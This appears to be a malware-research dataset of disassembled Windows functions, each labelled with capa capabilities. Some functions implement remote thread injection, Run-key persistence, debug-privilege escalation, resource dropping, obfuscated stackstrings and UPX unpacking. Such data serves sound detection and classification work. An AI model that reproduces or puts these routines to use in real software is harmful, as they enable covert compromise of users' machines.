joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002900
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call sym.___wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x10002ad8
mov edi, dword [0x100110a4]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], edi
je 0x100029e7
test byte [0x10003040], 8
jne 0x10002a80
lea ebx, [ebp - 0xd4]
mov edi, ebx
test byte [0x10003050], 8
jne 0x10002a40
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x10002989
cmp esi, 3
jbe 0x100029f8
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x1000299a
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x1000d200]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x10002989
mov dword [esp], 0x10003050
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x10002960
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call sym._sprintf
add edi, eax
jmp 0x10002960
mov dword [esp], 0x10003040
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x1000294b
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [ebp - 0xd4]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea edi, [ebx + eax]
jmp 0x10002953
mov eax, 0xffffffff
jmp 0x100029e7
Function at 0x408620
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40f044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40f03c]
sub esp, 4
test ebx, ebx
je 0x40866b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x408664
test esi, esi
je 0x408664
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x408640
mov dword [esp], 0x40f044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x408850
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4088a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x408978
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4088de
cmp eax, 4
jne 0x408900
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4088ee
cmp edx, 4
je 0x4088ee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00408850
Function at 0x401000
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftWareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401049
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x4012f4
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
push 0x49
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
mov dword [ebp - 0x128], ebx
push ebx
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.DLL_Process32First
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call esi
pop ecx
test eax, eax
pop ecx
je 0x40136b
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x401371
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
jmp 0x401346
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x40137f
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4013eb
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x4013bc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
leave
ret
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x1c]
push 0x10
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
leave
ret
Function at 0x401418
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
xor ebx, ebx
push dword [ebp + 8]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x401563
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, 0x130
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x134]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
add esp, 0xc
push str.LoadLibraryA
push dword [ebp - 4]
call esi
push str.GetProcAddress
mov dword [ebp - 0x134], eax
push dword [ebp - 4]
call esi
push 0x403070
mov dword [ebp - 0x130], eax
push dword [ebp - 4]
call esi
push dword [ebp + 0xc]
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x10]
lea eax, [ebp - 0x24]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
push 4
push 0x1000
push edi
push ebx
push dword [ebp + 8]
call esi
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0x401563
push ebx
lea ecx, [ebp - 0x134]
push edi
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x401563
mov edi, fcn.00401418
sub edi, 0x4013ed
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push eax
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push edi
push dword [ebp + 0xc]
push 0x4013ed
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call fcn.004012a8
add esp, 0x10
test al, al
je 0x401563
push pe_nt_image_headers32
push 0x1000
push edi
push ebx
push dword [ebp + 8]
call esi
mov esi, eax
cmp esi, ebx
je 0x401563
push ebx
push edi
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x401563
push ebx
push ebx
push dword [ebp + 0x10]
push esi
push 0x400
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40176c
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
test esi, esi
je 0x4017c4
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
mov ebx, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
je 0x4017c4
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
test edi, edi
je 0x4017c4
push 0x403154
push dword [ebp + 0x14]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
jne 0x4017c8
xor al, al
jmp 0x4017df
push esi
push 1
push ebx
push edi
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x6a01b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x20e000]
push edi
or ebp, 0xffffffff
jmp 0x6a01d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6a01d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6a01c8
mov eax, 1
add ebx, ebx
jne 0x6a01eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6a01fc
jne 0x6a021b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6a021b
dec eax
add ebx, ebx
jne 0x6a0208
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6a01e0
add ebx, ebx
jne 0x6a0217
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6a026d
xor ecx, ecx
sub eax, 3
jb 0x6a0233
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6a02a2
sar eax, 1
mov ebp, eax
jmp 0x6a023e
add ebx, ebx
jne 0x6a023e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6a020c
inc ecx
add ebx, ebx
jne 0x6a024c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6a020c
add ebx, ebx
jne 0x6a0259
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6a024e
jne 0x6a026a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6a024e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6a028c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6a027e
jmp 0x6a01ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6a028c
add edi, ecx
jmp 0x6a01ce
pop esi
mov edi, esi
mov ecx, 0x12
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6a02aa
cmp byte [edi], 0
jne 0x6a02aa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6a02af
lea edi, [esi + 0x29e000]
mov eax, dword [edi]
or eax, eax
je 0x6a031e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2a0510]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2a0560]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6a02dc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2a0564]
or eax, eax
je 0x6a0318
mov dword [ebx], eax
add ebx, 4
jmp 0x6a02f9
call dword [esi + 0x2a0568]
popal
jmp section.UPX0
Function at 0x40ab3f
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x40aae4
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x40ab02
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40ab60
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40ab47
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x40ab50
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40ab5a
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40ab3c
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x40aac6
mov dword [ebp + 8], esi
xor edi, edi

Function at 0x40ac0d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7ec
push ebx
push esi
push edi
call fcn.0040a3eb
inc ebx

Function at 0x40ac1d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebx
clc
and byte [ebp - 0x354], 0
and byte [ebp - 0x353], 0
mov byte [ebp - 0x352], 0xda
and byte [ebp - 0x351], 0
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0040a41d
pop ecx
push eax
Function at 0x401568
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
mov ebp, eax
xor edi, edi
jmp 0x401599
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 1
push edi
push edi
lea eax, [esp + 0x1c]
push edi
push eax
call esi
test eax, eax
jne 0x401583
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebx
sub eax, ebp
cmp eax, dword [esp + 0x30]
jbe 0x401599
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x4015c3
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push ebp
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor ebx, ebx
inc ebx
call edi
mov ebp, eax
jmp 0x4015e7
call edi
sub eax, ebp
cmp eax, dword [esp + 0x10]
ja 0x4015ef
push 0xa
call fcn.00401568
pop ecx
cmp dword [esi + 0x4c], 0
jne 0x4015d5
jmp 0x4015f1
xor ebx, ebx
and dword [esi + 0x48], 0
pop edi
pop ebp
mov eax, ebx
pop ebx
ret 4

Function at 0x4044a3
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x428108]
push ebx
push esi
push edi
push 0x2001f
push dword [ebp + 0xa0]
mov ebx, ecx
push dword [ebx]
mov dword [ebp + 0x94], eax
xor esi, esi
lea eax, [ebp - 0x70]
mov dword [ebp - 0x70], esi
call fcn.00404307
mov edi, eax
cmp edi, esi
je 0x4044f3
cmp dword [ebp - 0x70], esi
je 0x4044ef
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x40455d
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x40450e
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x70]
call fcn.004044a3
cmp eax, esi
mov dword [ebp - 0x78], eax
jne 0x404575
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x100
call edi
test eax, eax
je 0x4044fb
cmp dword [ebp - 0x70], esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x404541
push dword [ebp - 0x70]
call edi
mov dword [ebp - 0x70], esi
push dword [ebp + 0xa0]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
cmp dword [ebp - 0x70], esi
mov ebx, eax
je 0x40455b
push dword [ebp - 0x70]
call edi
mov eax, ebx
mov ecx, dword [ebp + 0x94]
pop edi
pop esi
pop ebx
call fcn.004177c2
add ebp, 0x98
leave
ret 4
cmp dword [ebp - 0x70], esi
je 0x404583
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x78]
jmp 0x40455d

Function at 0x4045d0
Capabilities:
Set registry value

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
add edi, eax
add esi, eax
cmp eax, 1
jne 0x4045d8
mov eax, dword [esp + 0xc]
push esi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
ret 0xc
Function at 0x404607
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0xc]
push 4
push 0
push dword [esp + 0x18]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 0xc

Function at 0x40498f
Capabilities:
Get file system object information

Disassembly:
push ebp
lea ebp, [esp - 0x2f8]
sub esp, 0x378
mov eax, dword [0x428108]
push ebx
push esi
mov dword [ebp + 0x2f4], eax
call dword [0x428d2c]
mov ebx, dword [0x4291c4]
mov dword [ebp - 0x80], eax
mov esi, 0x104
push esi
lea eax, [ebp + 0xe8]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x4049db
call fcn.00404b37
jmp 0x404b1c
cmp eax, esi
jne 0x4049e9
mov eax, 0x8007007a
jmp 0x404b1c
test ebx, ebx
je 0x404a01
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
cmp ebx, eax
je 0x404a01
lea ecx, [ebp + 0xe8]
jmp 0x404a3f
lea eax, [ebp + 0xe8]
push eax
lea eax, [ebp + 0x1ed]
push eax
mov byte [ebp + 0x1ec], 0x22
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp + 0x1ec]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov byte [ebp + eax + 0x1ec], 0x22
mov byte [ebp + eax + 0x1ed], 0
lea ecx, [ebp + 0x1ec]
mov eax, dword [edi]
push ecx
push str.Module
push edi
call dword [eax + 0x14]
test eax, eax
jl 0x404b1c
mov eax, dword [edi]
lea ecx, [ebp + 0xe8]
push ecx
push str.Module_Raw
push edi
call dword [eax + 0x14]
test eax, eax
jl 0x404b1c
lea eax, [ebp - 0x7c]
push eax
push 0x429758
call dword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
jl 0x404b1c
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
jne 0x404a8f
xor eax, eax
jmp 0x404ab5
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea esi, [eax + eax + 2]
mov eax, esi
add eax, 3
and eax, 0xfffffffc
call fcn.00417de0
mov eax, esp
push dword [ebp - 0x80]
push esi
push ebx
mov esi, eax
call fcn.00404b4c
mov ecx, dword [edi]
push eax
push str.MODULEGUID
push edi
call dword [ecx + 0x14]
push dword [ebp - 0x7c]
mov esi, eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
test esi, esi
jge 0x404ad4
mov eax, esi
jmp 0x404b1c
push 0x2000
push 0x160
lea eax, [ebp - 0x78]
push eax
push 0
lea eax, [ebp + 0xe8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
mov eax, dword [edi]
jne 0x404afe
push str.InprocServer32
jmp 0x404b03
push 0x4229d4
push str.MODULETYPE
push edi
call dword [eax + 0x14]
test eax, eax
jl 0x404b1c
mov ecx, dword [0x429750]
mov eax, dword [ecx]
push edi
call dword [eax + 0x14]
lea esp, [ebp - 0x88]
mov ecx, dword [ebp + 0x2f4]
call fcn.004177c2
pop esi
pop ebx
add ebp, 0x2f8
leave
ret
Function at 0x409139
Capabilities:
Encode data using base64
Get file size
Read file on windows

Disassembly:
mov eax, 0x41fae8
call fcn.00417e88
sub esp, 0x34
mov eax, dword [0x428108]
push ebx
xor ebx, ebx
push 0x422ca0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x3c], ebx
call fcn.004021b9
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocStringLen
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x30], eax
jne 0x40919d
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
call fcn.00402833
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.004027ea
jmp 0x4092e3
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
mov dword [ebp - 0x34], edi
fild dword [ebp - 0x34]
fmul qword [str.ffffff]
call fcn.0041f018
mov esi, eax
push edi
mov dword [ebp - 0x3c], esi
call fcn.0041656d
pop ecx
push ebx
lea ecx, [ebp - 0x40]
push ecx
push edi
push eax
push dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 0x40], edi
je 0x409202
push dword [ebp - 0x38]
call fcn.0041629d
pop ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
call fcn.00402833
push ebx
jmp 0x4092d7
lea eax, [esi + 1]
push eax
call fcn.00415be5
push esi
mov edi, eax
push 0
push edi
call fcn.004169b0
add esp, 0x10
cmp dword [ebp - 0x34], 0
jle 0x409296
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
inc esi
push 3
dec eax
xor edx, edx
pop ecx
div ecx
mov ecx, dword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc eax
mov dword [ebp - 0x30], eax
movzx eax, byte [esi - 1]
shr eax, 2
mov al, byte [eax + ecx]
mov byte [edi + ebx], al
movzx edx, byte [esi]
xor eax, eax
mov al, byte [esi - 1]
shr edx, 4
add ebx, 4
and eax, 3
shl eax, 4
or eax, edx
mov al, byte [eax + ecx]
mov byte [edi + ebx - 3], al
movzx edx, byte [esi + 1]
xor eax, eax
mov al, byte [esi]
shr edx, 6
add esi, 3
and eax, 0xf
shl eax, 2
or eax, edx
mov al, byte [eax + ecx]
mov byte [edi + ebx - 2], al
xor eax, eax
mov al, byte [esi - 2]
and eax, 0x3f
dec dword [ebp - 0x30]
mov al, byte [eax + ecx]
mov byte [edi + ebx - 1], al
jne 0x409238
mov esi, dword [ebp - 0x3c]
mov eax, ebx
push 3
cdq
pop ecx
idiv ecx
dec edx
je 0x4092a6
dec edx
je 0x4092ab
jmp 0x4092b0
mov byte [edi + esi - 2], 0x3d
mov byte [edi + esi - 1], 0x3d
push edi
lea ecx, [ebp - 0x2c]
call fcn.004024cd
push edi
call fcn.0041629d
push dword [ebp - 0x38]
call fcn.0041629d
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
call fcn.00402833
push 0
lea ecx, [ebp - 0x2c]
push 1
call fcn.004027ea
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.004177c2
leave
ret